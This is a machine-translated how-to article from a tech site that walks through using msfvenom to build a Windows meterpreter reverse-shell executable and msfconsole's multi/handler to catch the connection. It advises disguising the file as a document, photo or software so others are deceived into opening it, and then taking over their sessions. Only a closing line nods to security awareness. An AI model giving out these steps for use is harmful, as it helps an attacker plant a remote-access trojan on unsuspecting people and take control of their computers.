Get the App
SLTechnology News&Howtos  ›  Internet Technology  › 

How to use msfvenom under kali. Msfconsole hacked into computer

Shulou Source: shulou.com Published: 2022-06-02 06:36:43 09月29日 Update

This article mainly explains "how to use msfvenom. Msfconsole to invade a computer under kali". The content in the article is simple and clear, and it is easy to learn and understand. please follow the editor's train of thought to study and learn "how to use msfvenom. Msfconsole to invade a computer under kali".

Required tools: msfvenom. Msfconsole (available in kali)

Msfvenom-p windows/meterpreter/reverse_tcp LHOST= local ip LPORT= local port number-f exe-o file name.exe

That is to generate a backdoor file xss.exe (I named the file xss here)

Then continue with the command:

Msfconsole (running msfconsole)

Msf > use exploit/multi/handler (select module)

Msf exploit (handler) > set payload windows/meterpreter/reverse_tcp

Set lhost plus ip address set lport plus port number

Msf exploit (handler) > exploit-z-j (background execution)

In this way, the Trojan horse is configured and sent to others (can be forged into documents, photos, software and other files to deceive others to open it)

After sending it to someone, wait for someone else to open the xss.exe, open it and take the bait.

Msf exploit (handler) > sessions (users who view the bait)

Msf exploit (handler) > sessions-I 1 (select the user to attack, select the first one here)

After entering meterpreter, you can carry out some related Trojan horse operations.

Please have a deep understanding of hacker technology and establish a sense of security and defense.

Thank you for your reading, the above is the content of "how to use msfvenom. Msfconsole to invade the computer under kali". After the study of this article, I believe you will know how to use msfvenom under kali. The problem of msfconsole hacking into the computer has a deeper understanding, and the specific use situation still needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Tags: Computers files learning selection content slogans file names Trojans users security background backdoor commands addresses security precautions that is tools ideas situations awareness Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno OPPO Reno vpn MySQL Microsoft Apple